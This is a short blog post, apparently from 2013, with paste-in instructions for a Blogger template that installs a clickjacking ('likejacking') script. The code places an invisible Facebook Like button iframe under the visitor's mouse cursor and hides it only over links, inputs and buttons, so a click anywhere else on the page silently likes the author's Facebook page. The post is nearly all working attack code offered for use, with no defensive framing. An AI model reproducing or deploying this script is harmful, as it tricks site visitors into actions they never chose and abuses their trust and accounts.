пятница, 1 марта 2013 г.


  • Search for </head> in your blogs HTML and paste the below script above it.
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript">
    </script>
    <script type='text/javascript'>
             function ClickJackFbHide(){
                jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).hide();
             }
             function ClickJackFbShow(){
                jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).show();
             }
      
    </script>
  •  Now again search for </body> in your blogs HTML and paste below code above it.
<div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';  margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">

<!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->

<iframe src="http://www.facebook.com/plugins/like.php?href=Fanpage URL Link&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>

   </div>
   <script type="text/javascript">
      jQuery( document ).ready( function() {
          $( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) {
            jQuery( "#clickjack-button-wrapper-5" ).css( {
               top: e.pageY - 10,
               left: e.pageX + 30
            } );
         } );
                        clickjack_hider();
                        var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
      } );
                        function clickjack_hider(){
         jQuery("input").mouseout(function(){ClickJackFbShow();});
         jQuery("a").mouseout(function(){ClickJackFbShow();});
         jQuery("button").mouseout(function(){ClickJackFbShow();});
         jQuery("textarea").mouseout(function(){ClickJackFbShow();});
         jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();});         jQuery("object").mouseout(function(){ClickJackFbShow();});
         jQuery("input").mouseover(function(){ClickJackFbHide();});
         jQuery("a").mouseover(function(){ClickJackFbHide();});
         jQuery("button").mouseover(function(){ClickJackFbHide();});
         jQuery("textarea").mouseover(function(){ClickJackFbHide();});
         jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();});         jQuery("object").mouseover(function(){ClickJackFbHide();});
                        }
   </script>
  • Now just replace the red line in above code with your facebook page URL and that’s it now just save the template and jump over to your website to test it out.

0 коммент.:

Отправить комментарий

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | hostgator reviews